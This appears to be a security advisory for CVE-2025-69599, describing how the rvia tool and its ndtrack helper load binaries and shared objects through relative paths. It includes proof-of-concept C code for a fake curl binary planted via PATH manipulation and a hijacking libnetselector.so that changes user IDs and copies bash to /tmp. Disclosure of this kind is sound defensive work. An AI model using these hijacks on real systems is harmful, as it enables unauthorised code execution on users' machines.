wise-security/cve-2025-69599
rvia in Raynet is vulnerable to an Uncontrolled Search Path Element issue. When loading shared objects and calling system binaries (such as .so, and helper binaries), they are called using relative paths, which allows a user to tamper with the final binary or .so object executed through PATH environment variable manipulation.
In the following evidence, an arbitrary binary called curl is created in the /tmp directory.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compiling the binary
The PATH variable is changed so the first directory to search for the curl command when called by rvia is /tmp.
export PATH=/tmp:$PATH
And after that a call to /opt/rvia/rvia getconfig will use our tampered curl binary.
The same applies to the upload option.
The same problem is found when using the option rvia inventory which under the hood calls the binary ndtrack. The binary ndtrack calls the cat, and sh commands using a relative path.
Finally, it was detected also that the ndtrack binary is including shared objects .so files, using relative paths.
In the following evidence it is possible to see the steps taken to replace the relative call to libnetselector.so (it is possible also to perform the same actions with libuploader.so). In this case a custom shared object is created, when this shared object is executed a copy of the bash in /tmp directory as bash_so_hijack is going to be created.
The following is the C code for creating the custom shared object called libnetselector.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compiling the shared object
It is important to note that, this only works when calling ndtrack directly, since when the inventory option is invoked, a call to a bash script at /opt/rvia called ndtrack is made, which sets the PATH environment variable before calling the ndtrack binary.
